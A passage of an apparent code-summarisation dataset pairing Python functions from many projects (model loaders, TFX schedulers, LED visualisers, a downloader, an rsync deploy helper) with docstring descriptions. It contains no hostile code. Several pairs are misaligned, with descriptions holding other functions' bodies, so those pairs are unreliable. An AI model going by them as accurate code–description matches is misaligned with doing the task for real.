PARAMETER_MAX)\n\n", "nl": "Helper function to scale `val` between 0 and maxval .Args:level: Level of the operation that will be between [0, `PARAMETER_MAX`].maxval: Maximum value that the operation can have. This will be scaledto level/PARAMETER_MAX.Returns:An int that results from scaling `maxval` according to `level`."} {"code": "def usage(msg=None, ret=1):\n if msg:\n sys.stderr.write(msg+\"\\n\")\n sys.stderr.write(\"Usage: %s [options] key_uri [filename]\\n\" % progname)\n sys.stderr.write(\"Type '%s -h' for help\\n\" % progname)\n sys.exit(ret)\n", "nl": "Prints usage message then exits"} {"code": "def toggle(self):\n self._checkBox.toggle()\n\n\nif osVersionCurrent >= osVersion10_10:\n class CheckBox(_CheckBoxStandardBuild):\n __doc__ = _doc\n pass\nelse:\n class CheckBox(_CheckBoxManualBuild):\n __doc__ = _doc\n pass", "nl": "Toggle the state of the check box.If the check box is on, turn it off. If the check box is off, turn it on."} {"code": "def sample(self, *args, **kwargs):\n raise NotImplementedError\n", "nl": "Sample the action when given the observation of the enviroment.In general, this function is used in train process.This function will usually do the following things:1. Accept numpy data as input;2. Feed numpy data or onvert numpy data to tensor (optional);3. Call predict or sample function in `Algorithm`;4. Add sampling operation in numpy level. (unnecessary if sampling operation have done in `Algorithm`)."} {"code": "def get_commands(self, namespace):\n if not namespace:\n namespace = DEFAULT_NAMESPACE\n\n try:\n namespace.strip().lower()\n commands = list(self._commands[namespace].keys())\n commands.sort()\n return commands\n except KeyError:\n return []\n", "nl": "Retrieves the commands of the given name space. If *namespace* is Noneor empty, it retrieves the commands of the default name space:param namespace: The commands name space:return: A list of commands names"} {"code": "def load_com(path: Text) -> Dict:\n d = sio.loadmat(path)[\"com\"]\n data = {}\n data[\"com3d\"] = d[\"com3d\"][0, 0]\n data[\"sampleID\"] = d[\"sampleID\"][0, 0].astype(int)\n return data\n\n", "nl": "Load COM from .mat file.Args:path (Text): Path to .mat file with \"com\" fieldReturns:Dict: Dictionary with com data"} {"code": "def dialect_options(self):\n\n return util.PopulateDict(\n util.portable_instancemethod(self._kw_reg_for_dialect_cls)\n )\n", "nl": "A collection of keyword arguments specified as dialect-specificoptions to this construct.This is a two-level nested registry, keyed to ````and ````. For example, the ``postgresql_where``argument would be locatable as::arg = my_object.dialect_options['postgresql']['where'].. versionadded:: 0.9.2.. seealso:::attr:`.DialectKWArgs.dialect_kwargs` - flat dictionary form"} {"code": "def __init__(self, name, commands):\n\n self.name = name\n self.commands = dict((x.name, x) for x in commands)\n if name is None:\n self.help = \"Commands:\\n\"\n else:\n self.help = \"{0} gadget (type '{1} help' for details)\\nSubcommands under {2}:\\n\".format(name, name, name)\n for x in commands:\n self.help += \" {0:<20s} {1}\\n\".format(x.name, x.help.split(\"\\n\")[0] if x.help is not None else \"\")\n self.help = self.help.strip()\n", "nl": ":type name: string:param name: name of the group:type commands: list of titus.inspector.defs.Command:param commands: commands in this group"} {"code": "def error(self, message):\n self.print_usage(sys.stderr)\n self.env.rich_error_console.print(\n dedent(\n f'''\n )\n )\n self.exit(2)", "nl": "Prints a usage message incorporating the message to stderr andexits."} {"code": "def _handle_task(self, task: task_lib.Task) -> None:\n logging.info('Handling ExecNodeTask, task-id: %s', task.task_id)\n node_uid = task.node_uid\n with self._tm_lock:\n if node_uid in self._scheduler_by_node_uid:\n raise RuntimeError(\n 'Cannot create multiple task schedulers for the same task; '\n 'task_id: {}'.format(task.task_id))\n scheduler = _SchedulerWrapper(\n typing.cast(\n ts.TaskScheduler[task_lib.ExecNodeTask],\n ts.TaskSchedulerRegistry.create_task_scheduler(\n self._mlmd_handle, task.pipeline, task)))\n self._scheduler_by_node_uid[node_uid] = scheduler\n self._ts_futures.add(\n self._ts_executor.submit(self._process_exec_node_task, scheduler,\n task))\n", "nl": "Dispatches task to the task specific handler.if isinstance(task, task_lib.ExecNodeTask):self._handle_exec_node_task(task)elif isinstance(task, task_lib.CancelNodeTask):self._handle_cancel_node_task(task)else:raise RuntimeError('Cannot dispatch bad task: {}'.format(task))def _handle_exec_node_task(self, task: task_lib.ExecNodeTask) -> None:Handles `ExecNodeTask`."} {"code": "def from_pretrained(cls, pretrained_model_name_or_path, *model_args, **kwargs):\n if 'distilbert' in pretrained_model_name_or_path:\n return DistilBertForQuestionAnswering.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'bert' in pretrained_model_name_or_path:\n return BertForQuestionAnswering.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'xlnet' in pretrained_model_name_or_path:\n return XLNetForQuestionAnswering.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'xlm' in pretrained_model_name_or_path:\n return XLMForQuestionAnswering.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n\n raise ValueError(\"Unrecognized model identifier in {}. Should contains one of \"\n \"'bert', 'xlnet', 'xlm'\".format(pretrained_model_name_or_path))", "nl": "r Instantiates one of the question answering model classes of the libraryfrom a pre-trained model configuration.The `from_pretrained()` method takes care of returning the correct model class instanceusing pattern matching on the `pretrained_model_name_or_path` string.The model class to instantiate is selected as the first pattern matchingin the `pretrained_model_name_or_path` string (in the following order):- contains `distilbert`: DistilBertForQuestionAnswering (DistilBERT model)- contains `bert`: BertForQuestionAnswering (Bert model)- contains `xlnet`: XLNetForQuestionAnswering (XLNet model)- contains `xlm`: XLMForQuestionAnswering (XLM model)The model is set in evaluation mode by default using `model.eval()` (Dropout modules are deactivated)To train the model, you should first set it back in training mode with `model.train()`Params:pretrained_model_name_or_path: either:- a string with the `shortcut name` of a pre-trained model to load from cache or download, e.g.: ``bert-base-uncased``.- a path to a `directory` containing model weights saved using :func:`~transformers.PreTrainedModel.save_pretrained`, e.g.: ``./my_model_directory/``.- a path or url to a `tensorflow index checkpoint file` (e.g. `./tf_model/model.ckpt.index`). In this case, ``from_tf`` should be set to True and a configuration object should be provided as ``config`` argument. This loading path is slower than converting the TensorFlow checkpoint in a PyTorch model using the provided conversion scripts and loading the PyTorch model afterwards.model_args: (`optional`) Sequence of positional arguments:All remaning positional arguments will be passed to the underlying model's ``__init__`` methodconfig: (`optional`) instance of a class derived from :class:`~transformers.PretrainedConfig`:Configuration for the model to use instead of an automatically loaded configuation. Configuration can be automatically loaded when:- the model is a model provided by the library (loaded with the ``shortcut-name`` string of a pretrained model), or- the model was saved using :func:`~transformers.PreTrainedModel.save_pretrained` and is reloaded by suppling the save directory.- the model is loaded by suppling a local directory as ``pretrained_model_name_or_path`` and a configuration JSON file named `config.json` is found in the directory.state_dict: (`optional`) dict:an optional state dictionnary for the model to use instead of a state dictionary loaded from saved weights file.This option can be used if you want to create a model from a pretrained configuration but load your own weights.In this case though, you should check if using :func:`~transformers.PreTrainedModel.save_pretrained` and :func:`~transformers.PreTrainedModel.from_pretrained` is not a simpler option.cache_dir: (`optional`) string:Path to a directory in which a downloaded pre-trained modelconfiguration should be cached if the standard cache should not be used.force_download: (`optional`) boolean, default False:Force to (re-)download the model weights and configuration files and override the cached versions if they exists.proxies: (`optional`) dict, default None:A dictionary of proxy servers to use by protocol or endpoint, e.g.: {'http': 'foo.bar:3128', 'http://hostname': 'foo.bar:4012'}.The proxies are used on each request.output_loading_info: (`optional`) boolean:Set to ``True`` to also return a dictionnary containing missing keys, unexpected keys and error messages.kwargs: (`optional`) Remaining dictionary of keyword arguments:Can be used to update the configuration object (after it being loaded) and initiate the model. (e.g. ``output_attention=True``). Behave differently depending on whether a `config` is provided or automatically loaded:- If a configuration is provided with ``config``, ``**kwargs`` will be directly passed to the underlying model's ``__init__`` method (we assume all relevant updates to the configuration have already been done)- If a configuration is not provided, ``kwargs`` will be first passed to the configuration class initialization function (:func:`~transformers.PretrainedConfig.from_pretrained`). Each key of ``kwargs`` that corresponds to a configuration attribute will be used to override said attribute with the supplied ``kwargs`` value. Remaining keys that do not correspond to any configuration attribute will be passed to the underlying model's ``__init__`` function.Examples::model = AutoModelForQuestionAnswering.from_pretrained('bert-base-uncased') # Download model and configuration from S3 and cache.model = AutoModelForQuestionAnswering.from_pretrained('./test/bert_model/') # E.g. model was saved using `save_pretrained('./test/saved_model/')`model = AutoModelForQuestionAnswering.from_pretrained('bert-base-uncased', output_attention=True) # Update configuration during loadingassert model.config.output_attention == True# Loading from a TF checkpoint file instead of a PyTorch model (slower)config = AutoConfig.from_json_file('./tf_model/bert_tf_model_config.json')model = AutoModelForQuestionAnswering.from_pretrained('./tf_model/bert_tf_checkpoint.ckpt.index', from_tf=True, config=config)"} {"code": "def assert_is(lhs_val: Any, rhs_val: Any, assert_msg: str) -> None:\n if lhs_val is not rhs_val:\n error_line_no = _prev_frame().f_lineno\n raise TestAssertionFailure(\n f\"{lhs_val} is not {rhs_val}\",\n lhs=lhs_val,\n rhs=rhs_val,\n error_line=error_line_no,\n operator=Comparison.Is,\n assert_msg=assert_msg,\n )\n\n", "nl": "Check the object identity via ``lhs_val is rhs_val``. Raises ``TestFailure`` if not identical.Args:lhs_val: The value on the left side of ``is``rhs_val: The value on the right side of ``is``assert_msg: The assertion message from the ``assert`` statementReturns: NoneRaises: TestFailure"} {"code": "def add_configs_for_class(self, klass):\n name = klass.__name__\n if name in self.__visited_for_config:\n return\n self.__visited_for_config.add(name)\n\n found_list = []\n location = os.path.dirname(inspect.getfile(klass))\n dirs = ['.', os.path.join(os.path.expanduser('~'), '.citest')]\n self.__add_configs_for_name(name, location, dirs, found_list)\n\n package_parts = klass.__module__.split('.')\n module = package_parts[-1]\n self.__add_configs_for_name(module, location, dirs, found_list)\n\n package_paths = []\n package = '.'.join(package_parts[:-1]) if len(package_parts) > 1 else None\n\n while package and not package in self.__visited_for_config:\n parts = package.split('.')\n package_path = os.path.join(location, '__package__.config')\n if not package_path in self.__visited_for_config:\n self.__visited_for_config.add(package_path)\n if os.path.exists(package_path):\n package_paths.append(package_path)\n\n self.__add_configs_for_name(parts[0], location, [], found_list)\n self.__add_configs_for_name(package, None, dirs, found_list)\n package = '.'.join(parts[:-1]) if len(parts) > 1 else None\n location = os.path.dirname(location)\n found_list.extend(package_paths)\n\n self.__config_files.extend(found_list[::-1])", "nl": "Add all the config files that the given class may use.This is the closure of its subclasses and modules."} {"code": "def __init__(self, N: int, components: List[Type[OpticalComponent]]):\n self.N = N\n self.components = components\n", "nl": "Initialize the ComponentLayer:param int N: number of waveguides in the ComponentLayer:param list[OpticalComponent] components: list of"} {"code": "def visualize_scroll(y):\n global p\n y = np.copy(y)\n gain.update(y)\n y /= gain.value\n y *= float((config.N_PIXELS // 2) - 1)\n scale = 0.9\n r = int(np.mean(y[:len(y) // 3]**scale))\n g = int(np.mean(y[len(y) // 3: 2 * len(y) // 3]**scale))\n b = int(np.mean(y[2 * len(y) // 3:]**scale))\n p[0, :r] = 255.0\n p[0, r:] = 0.0\n p[1, :g] = 255.0\n p[1, g:] = 0.0\n p[2, :b] = 255.0\n p[2, b:] = 0.0\n p_filt.update(p)\n p = np.round(p_filt.value)\n p[0, :] = gaussian_filter1d(p[0, :], sigma=4.0)\n p[1, :] = gaussian_filter1d(p[1, :], sigma=4.0)\n p[2, :] = gaussian_filter1d(p[2, :], sigma=4.0)\n return np.concatenate((p[:, ::-1], p), axis=1)\n\n\n_prev_spectrum = np.tile(0.01, config.N_PIXELS // 2)\n\n", "nl": "Effect that originates in the center and scrolls outwardsglobal py = y**2.0gain.update(y)y /= gain.valuey *= 255.0r = int(np.max(y[:len(y) // 3]))g = int(np.max(y[len(y) // 3: 2 * len(y) // 3]))b = int(np.max(y[2 * len(y) // 3:]))# Scrolling effect windowp[:, 1:] = p[:, :-1]p *= 0.98p = gaussian_filter1d(p, sigma=0.2)# Create new color originating at the centerp[0, 0] = rp[1, 0] = gp[2, 0] = b# Update the LED stripreturn np.concatenate((p[:, ::-1], p), axis=1)def visualize_energy(y):Effect that expands from the center with increasing sound energy"} {"code": "def read1(self, size=-1):\n self._unsupported(\"read1\")\n", "nl": "Read up to size bytes with at most one read() system call,where size is an int."} {"code": "def test_generate_code_with_engine(self, engine_kwargs):\n prog = sf.TDMProgram(N=[2, 3])\n eng = sf.Engine(\"gaussian\")\n\n with prog.context([np.pi, 3 * np.pi / 2, 0], [1, 0.5, np.pi], [0, 0, 0]) as (p, q):\n ops.Sgate(0.123, np.pi / 4) | q[2]\n ops.BSgate(p[0]) | (q[1], q[2])\n ops.Rgate(p[1]) | q[2]\n ops.MeasureHomodyne(p[0]) | q[0]\n ops.MeasureHomodyne(p[2]) | q[2]\n\n results = eng.run(prog)\n\n code = io.generate_code(prog, eng)\n\n code_list = code.split(\"\\n\")\n expected = prog_txt_tdm.split(\"\\n\")\n\n for i, row in enumerate(code_list):\n assert row == expected[i]\n\n @pytest.mark.parametrize(\n \"value\",\n [\n \"np.pi\",\n \"np.pi/2\",\n \"np.pi/12\",\n \"2*np.pi\",\n \"2*np.pi/3\",\n \"0\",\n \"42\",\n \"9.87\",\n \"-0.2\",\n \"no_number\",\n \"{p3}\",\n ],\n )", "nl": "Test generating code for a regular program with an engineprog = sf.Program(3)eng = sf.Engine(**engine_kwargs)with prog.context as q:ops.Sgate(0.54, 0) | q[0]ops.BSgate(0.45, np.pi / 2) | (q[0], q[2])ops.Sgate(3 * np.pi / 2, 0) | q[1]ops.BSgate(2 * np.pi, 0.62) | (q[0], q[1])ops.MeasureFock() | q[0]results = eng.run(prog)code = io.generate_code(prog, eng)code_list = code.split(\"\\n\")formatting_str = f\"\\\"{engine_kwargs['backend']}\\\"\"if \"backend_options\" in engine_kwargs:formatting_str += (\", backend_options=\"f'{{\"cutoff_dim\": {engine_kwargs[\"backend_options\"][\"cutoff_dim\"]}}}')expected = prog_txt.format(engine_args=formatting_str).split(\"\\n\")for i, row in enumerate(code_list):assert row == expected[i]def test_generate_code_tdm(self):Test generating code for a TDM program with an engine"} {"code": "def getpluginlist(location, bin):\n fblist = getextensionfiles(location, FB_CONFIG_EXT)\n configlist = getextensionfiles(location, PLUGIN_CONFIG_EXT)\n dirlist = os.listdir(location)\n pluginlist = []\n\n for config in configlist:\n base = \".\".join(config.split(\".\")[:-2])\n\n fbindex = configlistsearch(fblist, base)\n if fbindex is not None:\n if bin:\n for ext in BINARY_EXT:\n if base + ext in dirlist:\n pluginlist.append((os.path.join(location, config),\n os.path.join(location, base + ext),\n os.path.join(location, fblist[fbindex])))\n else:\n pluginlist.append((os.path.join(location, config),\n \"noFile\",\n os.path.join(location, fblist[fbindex])))\n return pluginlist\n\n", "nl": "@brief Get a list of available plugins from a given directory@param location Directory to search for plugins@param bin Is what we're trying to load binary?"} {"code": "def repeated_checkpoint_run(self):\n\n if not os.path.exists(self.checkpoint_dir):\n raise ValueError('{} must have at least one checkpoint entry.'\n .format(self.checkpoint_dir))\n\n if self.do_kitti_native_eval:\n evaluator_utils.copy_kitti_native_code(\n self.model_config.checkpoint_name)\n\n if self.skip_evaluated_checkpoints:\n already_evaluated_ckpts = self.get_evaluated_ckpts()\n tf.logging.info(\n 'Starting evaluation at ' +\n time.strftime(\n '%Y-%m-%d-%H:%M:%S',\n time.gmtime()))\n\n last_checkpoint_id = -1\n number_of_evaluations = 0\n while True:\n trainer_utils.load_checkpoints(self.checkpoint_dir,\n self._saver)\n num_checkpoints = len(self._saver.last_checkpoints)\n\n start = time.time()\n\n if number_of_evaluations >= num_checkpoints:\n tf.logging.info('No new checkpoints found in %s.'\n 'Will try again in %d seconds',\n self.checkpoint_dir,\n self.eval_wait_interval)\n else:\n for ckpt_idx in range(num_checkpoints):\n checkpoint_to_restore = \\\n self._saver.last_checkpoints[ckpt_idx]\n ckpt_id = evaluator_utils.strip_checkpoint_id(\n checkpoint_to_restore)\n\n already_evaluated = ckpt_id in already_evaluated_ckpts\n if already_evaluated or ckpt_id <= last_checkpoint_id:\n number_of_evaluations = max((ckpt_idx + 1,\n number_of_evaluations))\n continue\n\n self.run_checkpoint_once(checkpoint_to_restore)\n number_of_evaluations += 1\n\n last_checkpoint_id = ckpt_id\n\n time_to_next_eval = start + self.eval_wait_interval - time.time()\n if time_to_next_eval > 0:\n time.sleep(time_to_next_eval)\n", "nl": "Periodically evaluates the checkpoints inside the `checkpoint_dir`.This function evaluates all the existing checkpoints as they are beinggenerated. If there are none, it sleeps until new checkpoints becomeavailable. Since there is no synchronization guarantee for the trainerand evaluator, at each iteration it reloads all the checkpoints andsearches for the last checkpoint to continue from. This is meant to becalled in parallel to the trainer to evaluate the models regularly.Raises:ValueError: if model.checkpoint_dir doesn't have at least oneelement."} {"code": "def _utterance_to_one_best_sql_map(predictions_dicts):\n predictions_dicts = _load_predictions_dicts(input_path)\n utterance_to_one_best_sql_map = _utterance_to_one_best_sql_map(\n predictions_dicts)\n\n examples = _load_json(spider_examples_json)\n with tf.gfile.Open(output_path, 'w') as output_file:\n for example in examples:\n utterance = ' '.join(example['question_toks'])\n db_id = example['db_id']\n if utterance not in utterance_to_one_best_sql_map:\n print('No prediction for utterance: %s' % utterance)\n output_file.write('SKIP\\t%s\\n' % db_id)\n else:\n prediction = utterance_to_one_best_sql_map[utterance]\n output_file.write('%s\\t%s\\n' % (prediction, db_id))\n\n", "nl": "Get map of utterance to best prediction.# Assume sorted in descending order by score.utterance_to_one_best_sql_map = {}for prediction in predictions_dicts:if not prediction['predictions']:print('No predictions for example: %s' % prediction)continueutterance = prediction['utterance']paired_preds_and_scores = zip(prediction['predictions'],prediction['scores'])sorted_by_scores = sorted(paired_preds_and_scores, key=lambda x: x[1], reverse=True)if FLAGS.use_executable_sql_only:empty_path = prediction['empty_database_path']try:empty_conn = sqlite3.connect(empty_path)empty_conn.text_factory = strexcept sqlite3.OperationalError as e:print(e)print(empty_path)exit()cursor = empty_conn.cursor()best_prediction = Nonefor _, (pred, _) in enumerate(sorted_by_scores):# Try predictingprint('Trying to execute query:\\n\\t' + pred)print('... on empty database')temp_exception_str = official_evaluation.try_executing_query(pred, cursor, case_sensitive=True)[1]if temp_exception_str:if temp_exception_str == 'timeout':# Technically, this query didn't have a syntax problem, so# continue and set this as the best prediction.best_prediction = predbreakelse:best_prediction = predbreakone_best_prediction = best_predictionelse:one_best_prediction = sorted_by_scores[0][0]utterance_to_one_best_sql_map[utterance] = one_best_predictionreturn utterance_to_one_best_sql_mapdef write_predictions(input_path, output_path, spider_examples_json):Writes one-best predictions in Spider-evaluation compatible format."} {"code": "def __repr__(self):\n A mixin class providing shared list-like functionality to classes\n representing groups of IP addresses.\n\n \"\"\"", "nl": ":return: Python statement to create an equivalent objectreturn \"%s('%s')\" % (self.__class__.__name__, self)class IPListMixin(object):"} {"code": "def set_negative_aliases (self, negative_alias):\n self._check_alias_dict(negative_alias, \"negative alias\")\n self.negative_alias = negative_alias\n\n", "nl": "Set the negative aliases for this option parser.'negative_alias' should be a dictionary mapping option names tooption names, both the key and value must already be definedin the option table."} {"code": "def __init__(self, cocoGt=None, cocoDt=None, iouType='segm'):\n if not iouType:", "nl": "Initialize CocoEval using coco APIs for gt and dt:param cocoGt: coco object with ground truth annotations:param cocoDt: coco object with detection results:return: None"} {"code": "def get_path_in_displaycoord(self):\n\n dpi_cor = self.get_dpi_cor()\n\n if self._posA_posB is not None:\n posA = self._convert_xy_units(self._posA_posB[0])\n posB = self._convert_xy_units(self._posA_posB[1])\n posA = self.get_transform().transform_point(posA)\n posB = self.get_transform().transform_point(posB)\n _path = self.get_connectionstyle()(posA, posB,\n patchA=self.patchA,\n patchB=self.patchB,\n shrinkA=self.shrinkA * dpi_cor,\n shrinkB=self.shrinkB * dpi_cor\n )\n else:\n _path = self.get_transform().transform_path(self._path_original)\n\n _path, fillable = self.get_arrowstyle()(\n _path,\n self.get_mutation_scale() * dpi_cor,\n self.get_linewidth() * dpi_cor,\n self.get_mutation_aspect())\n\n\n return _path, fillable\n", "nl": "Return the mutated path of the arrow in display coordinates."} {"code": "def plot_avg_pitch(pitch, chars, fig_size=(30, 10), output_fig=False):\n old_fig_size = plt.rcParams[\"figure.figsize\"]\n if fig_size is not None:\n plt.rcParams[\"figure.figsize\"] = fig_size\n\n fig, ax = plt.subplots()\n\n x = np.array(range(len(chars)))\n my_xticks = chars\n plt.xticks(x, my_xticks)\n\n ax.set_xlabel(\"characters\")\n ax.set_ylabel(\"freq\")\n\n ax2 = ax.twinx()\n ax2.plot(pitch, linewidth=5.0, color=\"red\")\n ax2.set_ylabel(\"F0\")\n\n plt.rcParams[\"figure.figsize\"] = old_fig_size\n if not output_fig:\n plt.close()\n return fig\n\n", "nl": "Plot pitch curves on top of the input characters.Args:pitch (np.array): Pitch values.chars (str): Characters to place to the x-axis.Shapes:pitch: :math:`(T,)`"} {"code": "def set_pulse_on_hit_rule(self, enable_switch: SwitchSettings, coil: DriverSettings):\n del switch\n if not coil.hw_driver.has_rule:\n return\n coil.hw_driver.has_rule = False\n\n data = bytearray([coil.hw_driver.index,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0,\n 0\n ])\n self.send_byte(LisyDefines.ConfigureHardwareRuleForSolenoid, data)\n", "nl": "Set pulse on hit rule on driver.assert not coil.hold_settings or coil.hold_settings.power == 0self._configure_hardware_rule(coil, enable_switch, None, 1, 0)def clear_hw_rule(self, switch: SwitchSettings, coil: DriverSettings):Clear hw rule for driver."} {"code": "def dirty_fix_pytorch_runtime_error():\n import os, platform\n\n if platform.system() == 'Linux':\n os.RTLD_GLOBAL = os.RTLD_GLOBAL | os.RTLD_DEEPBIND\n import jittor_utils\n with jittor_utils.import_scope(os.RTLD_GLOBAL | os.RTLD_NOW):\n import torch\n\nis_in_ipynb = in_ipynb()\ncc = None\nLOG = Logwrapper()\n\ncheck_msvc_install = False\nmsvc_path = \"\"\nif os.name == 'nt' and os.environ.get(\"cc_path\", \"\")==\"\":\n msvc_path = os.path.join(home(), \".cache\", \"jittor\", \"msvc\")\n cc_path = os.path.join(msvc_path, \"VC\", r\"_\\_\\_\\_\\_\\bin\", \"cl.exe\")\n check_msvc_install = True\nelse:\n cc_path = env_or_find('cc_path', 'g++', silent=True)\nos.environ[\"cc_path\"] = cc_path\ncc_type = get_cc_type(cc_path)\ncache_path = find_cache_path()\n\n_py3_config_path = None\n_py3_include_path = None\n_py3_extension_suffix = None\ntry:\n import ssl", "nl": " This funtion should be called before pytorch.Example::import jittor as jtjt.dirty_fix_pytorch_runtime_error()import torch"} {"code": "def _build_non_max_suppressor(nms_config):\n if nms_config.iou_threshold < 0 or nms_config.iou_threshold > 1.0:\n raise ValueError('iou_threshold not in [0, 1.0].')\n if nms_config.max_detections_per_class > nms_config.max_total_detections:\n raise ValueError('max_detections_per_class should be no greater than '\n 'max_total_detections.')\n if nms_config.soft_nms_sigma < 0.0:\n raise ValueError('soft_nms_sigma should be non-negative.')\n if nms_config.use_combined_nms and nms_config.use_class_agnostic_nms:\n raise ValueError('combined_nms does not support class_agnostic_nms.')\n non_max_suppressor_fn = functools.partial(\n post_processing.batch_multiclass_non_max_suppression,\n score_thresh=nms_config.score_threshold,\n iou_thresh=nms_config.iou_threshold,\n max_size_per_class=nms_config.max_detections_per_class,\n max_total_size=nms_config.max_total_detections,\n use_static_shapes=nms_config.use_static_shapes,\n use_class_agnostic_nms=nms_config.use_class_agnostic_nms,\n max_classes_per_detection=nms_config.max_classes_per_detection,\n soft_nms_sigma=nms_config.soft_nms_sigma,\n use_partitioned_nms=nms_config.use_partitioned_nms,\n use_combined_nms=nms_config.use_combined_nms,\n change_coordinate_frame=nms_config.change_coordinate_frame,\n use_hard_nms=nms_config.use_hard_nms,\n use_cpu_nms=nms_config.use_cpu_nms)\n\n return non_max_suppressor_fn\n\n", "nl": "Builds non-max suppresson based on the nms config.Args:nms_config: post_processing_pb2.PostProcessing.BatchNonMaxSuppression proto.Returns:non_max_suppressor_fn: Callable non-max suppressor.Raises:ValueError: On incorrect iou_threshold or on incompatible values ofmax_total_detections and max_detections_per_class or on negativesoft_nms_sigma."} {"code": "def get_re_group(res, key, default=None):\n Json output looks as follows\n \"vrfs\": {", "nl": "Small helper to retrieve data from re match groupstry:return res.group(key)except KeyError:return defaultNEIGHBOR_FILTER = \"bgp neighbors vrf all | include remote AS | remote router ID |IPv[46] (Unicast|6PE):.*[0-9]+|^Local AS|Desc|BGP state\" # noqaoutput_summary_cmds = self._run_commands([\"show ipv6 bgp summary vrf all\", \"show ip bgp summary vrf all\"],encoding=\"json\",)output_neighbor_cmds = self._run_commands([\"show ip \" + NEIGHBOR_FILTER, \"show ipv6 \" + NEIGHBOR_FILTER],encoding=\"text\",)bgp_counters = defaultdict(lambda: dict(peers={}))for summary in output_summary_cmds:"} {"code": "def reconfigure(self, **kwargs):", "nl": "Reconfigure the device properties at runtime using the provided arguments.# kwargs[\"cloud_coverage\"] = None is a valid value, therefore a None check should not# be added here.if \"cloud_coverage\" in kwargs:self.cloud_coverage = kwargs[\"cloud_coverage\"]self._power_profile_index = self.cloud_coverageclass PVPredefinedStrategy(PVStrategy):"} {"code": "def encode(matched, priors, variances):\n\n g_cxcy = (matched[:, :2] + matched[:, 2:])/2 - priors[:, :2]\n g_cxcy /= (variances[0] * priors[:, 2:])\n g_wh = (matched[:, 2:] - matched[:, :2]) / priors[:, 2:]\n g_wh = torch.log(g_wh) / variances[1]\n return torch.cat([g_cxcy, g_wh], 1)\n\n", "nl": "Encode the variances from the priorbox layers into the ground truth boxeswe have matched (based on jaccard overlap) with the prior boxes.Args:matched: (tensor) Coords of ground truth for each prior in point-formShape: [num_priors, 4].priors: (tensor) Prior boxes in center-offset formShape: [num_priors,4].variances: (list[float]) Variances of priorboxesReturn:encoded boxes (tensor), Shape: [num_priors, 4]"} {"code": "def __exit__(self, exc_type, exc_value, traceback):\n\t\tself.scope_pop()\n", "nl": " Exit context management, popping the most recent scope."} {"code": "def _find_link_target(self, tarinfo):\n if tarinfo.issym():\n linkname = os.path.dirname(tarinfo.name) + '/' + tarinfo.linkname\n limit = None\n else:\n linkname = tarinfo.linkname\n limit = tarinfo\n member = self._getmember(linkname, tarinfo=limit, normalize=True)\n if member is None:\n raise KeyError('linkname %r not found' % linkname)\n return member\n", "nl": "Find the target member of a symlink or hardlink member in thearchive."} {"code": "def current_time():\n Measure execution of a specified statement which is useful for the\n performance analysis. In this way, the execution time and respective\n results can be directly compared.\n\n Parameters\n ----------\n description : str\n Descriptive name of configuration to be shown in the log\n stmt : str\n Statement to be timed\n setup : str\n Additional statement used for setup\n _globals :\n Namespace the code will be executed in (as opposed to inside timeit's\n namespace)\n repeat : int\n How many times to repeat the timeit measurement (results will be\n gathered as a list)\n number : int\n How many times to execute the statement to be timed\n reference : list of (float, any), optional\n Result with the same data structure as returned by this function,\n which will be referenced in order to compare execution time and\n similarity of the result data\n check_dtype : str, optional\n Data type of the result to check\n\n Returns\n -------\n (float, any)\n Tuple of execution time in seconds (minimum of all repetitions) and\n execution result of first repetition (data depends on the specified\n statement to be timed)\n \"\"\"", "nl": "Return current system time based on `datetime.now()`.return datetime.now()def get_named_tuple__repr__(namedtuple):# noinspection PyProtectedMemberfields_str = f\",\\n\\t\".join(f\"{f} = {repr(v)}\" for f, v in zip(namedtuple._fields, namedtuple))return f\"{namedtuple.__class__.__name__}(\\n\\t{fields_str})\"def time_it(description, stmt, setup, _globals, repeat, number, reference=None, check_dtype=None):"} {"code": "def getNeedPwForSecretKey(self):\n\n \"\"\"\n return self.secretNeedsParentPasswordKey\n", "nl": "## ## Get the PlayToken out of the registry and return it. The## PlayToken is not saved; if this method is called a second## time it will return None.## "} {"code": "def retr_callback(data):\n if not (remote_url.host and remote_url.remote_directory):\n message = \"Remote URL is invalid; host and remote directory must be specified\"\n raise Exception(message)\n user = \"%s@\" % remote_url.user if remote_url.user else \"\"\n cmd = [\"ssh\"]\n if remote_url.port:\n cmd.extend([\"-p\", str(remote_url.port)])\n cmd.extend([\"%s%s\" % (user, remote_url.host)])\n cmd.extend([\"mkdir\", \"-p\", remote_url.remote_directory])\n qisys.command.call(cmd)\n local_directory = local_directory + \"/.\"\n cmd = [\"rsync\",\n \"--recursive\",\n \"--links\",\n \"--perms\",\n \"--times\",\n \"--specials\",\n \"--progress\",\n \"--checksum\",\n \"--exclude=.debug/\"]\n if remote_url.port:\n cmd.extend([\"-e\", \"ssh -p %d\" % remote_url.port])\n if filelist:\n cmd.append(\"--files-from=%s\" % filelist)\n cmd.append(local_directory)\n cmd.append(\"%s%s:%s\" % (user, remote_url.host, remote_url.remote_directory))\n qisys.command.call(cmd)\n\n\nclass URLParseError(Exception):\n \"\"\" URLParseError Custom Exception \"\"\"", "nl": " Retr Callback Tranfert.xferd += len(data)if callback:callback(size, Tranfert.xferd)dest_file.write(data)cmd = \"RETR \" + url_split.path[1:]ftp.retrbinary(cmd, retr_callback)else:url_obj = authenticated_urlopen(url)if six.PY3:content_length = url_obj.headers.get('content-length')else:content_length = url_obj.headers.dict['content-length']size = int(content_length)buff_size = 100 * 1024xferd = 0while xferd < size:data = url_obj.read(buff_size)if not data:breakxferd += len(data)if callback:callback(size, xferd)dest_file.write(data)except Exception as e:error = \"Could not download file from %s\\n to %s\\n\" % (url, dest_name)error += \"Error was: %s\" % efinally:dest_file.close()if url_obj:url_obj.close()if error:qisys.sh.rm(dest_name)raise Exception(error)return dest_namedef deploy(local_directory, remote_url, filelist=None): Deploy a local directory to a remote url. "} {"code": "def run(self) -> None:\n while not self.done:\n self.update()\n\n @property", "nl": "Blocking call to run the action, without start or cleanup.It is better to use EventAction.execute().This may cause the game to hang if an action is waiting on gamechanges."} {"code": "def _get_observation_seed(self, num_observation: int) -> int:\n\n If `num_observation` or `observation` is passed, the model is conditioned.\n\n Args:\n num_observation: Observation number\n observation: Instead of passing an observation number, an observation may be\n passed directly\n posterior: If False, will mask prior which will result in model useful\n for calculating log likelihoods instead of log posterior probabilities\n \"\"\"", "nl": "Get 